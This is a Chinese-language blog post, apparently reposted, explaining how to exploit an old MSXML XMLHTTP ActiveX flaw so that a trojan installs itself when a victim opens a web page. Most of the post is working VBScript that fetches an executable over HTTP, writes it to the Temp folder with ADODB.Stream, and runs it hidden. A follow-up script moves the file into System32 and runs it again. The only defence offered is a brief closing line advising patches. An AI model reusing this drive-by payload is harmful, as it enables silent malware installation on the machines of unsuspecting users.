XMLHTTP漏洞利用

来源:互联网 发布:阿里云在杭州什么地方 编辑:程序博客网 时间:2024/06/05 00:30

       这段时间研究木马,但关键的一个问题怎么把自己的木马程序放到别人的电脑上还要运行起来。相当于别人一打开网页,木马就自动下载到电脑里了。目前我能想到的办法只有利用Windows的一些漏洞来实现,当然这些漏洞都是别人发现的。

   1. 漏洞说明:

Microsoft XML核心服务 XMLHTTP控件代码执行漏洞

受影响系统:
Microsoft XML Core Services 4.0
    - Microsoft Windows XP SP2
    - Microsoft Windows Server 2003 SP1
    - Microsoft Windows Server 2003
    - Microsoft Windows 2000 SP4

描述:
Microsoft XML核心服务(MSXML)允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。

在Microsoft XML Core Services 4.0的XMLHTTP 4.0 ActiveX控件中,setRequestHeader()函数没有正确地处理HTTP请求,允许攻击者诱骗用户访问恶意的站点导致执行任意指令。

2. 漏洞利用

      这个漏洞主要是利用两个对象Microsoft.XMLHTTP和Adodb.Stream。

            Set df = document.createElement("object") 
            df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
            Set oReq = df.CreateObject("Microsoft.XMLHTTP","")        
            set S = df.CreateObject(="Adodb.Stream","")
            S.type = 1

     首先建立这两个对象,这是用VBScript 写的。adodb.stream 的type 属性指定需要读取流的的格式 1 是二进制文件, 2是文本文件。

     在http://msdn2.microsoft.com/en-us/library/ms535874.aspx 里有对XMLHTTP的详细说明。

     在http://msdn2.microsoft.com/en-us/library/ms675532.aspx 里是对ADO操作数据流的说明。


            oReq.Open "GET", "http://127.0.0.1/abc.exe", false
            oReq.Send  
            fname1="abc.exe"
            set F = df.Createobject("Scripting.FileSystemObject","")
            set tmp = F.GetSpecialFolder(2)
            fname1= F.BuildPath(tmp,fname1)
            S.open
            S.write oReq.responseBody
            S.savetofile fname1,2
            S.close

       这里就是利用的重点。Open是XMLHTTP的一个方法,第一个参数是指定HTTP的方法,下载嘛,当然是用GET了。第二个参数是需要下载木马的地址,不过你的网页要和木马在通一个服务器上面才行。false是指定异步传输。Send就把上面指定的文件发送到浏览器缓存。

       然后用FileSystemObject来设置程序放哪。GetSpecialFolder的参数:0 Windows 文件夹 1 System32 文件夹  2 Temp 文件夹。

       open 是用来定位流的,如果没有参数,则默认问当前输入流,也就是浏览器的缓存。write 方法是把缓存中的数据写到adodb 的对象里面。然后调用savetofile 转存到指定文件中。

            set Q = df.createobject("Shell.Application","")
            Q.ShellExecute fname1,"","","open",0

        剩下需要做的事情只是把木马程序启动起来就行了。

        不过这时的木马程序是放在temp文件夹里面的,这个问题我试过,二进制文件如果放在system32文件夹下会失败,虽然也能下载下来但是无法运行。不过解决的办法也很简单,反正下载一个文件行,再下一个也没什么。只需要写个脚本就能搞定了。

        dim fso
        set fso=CreateObject("Scripting.FileSystemObject")
        fso.MoveFile "C:/Documents and Settings/Administrator/LocalSettings/Temp/abc.exe",
        "C:/WINDOWS/System32/"
        set wshshell=CreateObject("WScript.Shell")
        wshshell.run "abc.exe"

      在上面网页的最后执行这个脚本就可以把木马程序移动到System32文件夹下,并运行。

3. 预防

     相当简单。这个漏洞是很老的了,补丁打齐就OK了。不过新出来的MS07-017漏洞,也是用到了XMLHTTP的,这个东西还是Ajax 的核心之一。这么多问题,呵呵应该多研究一下了。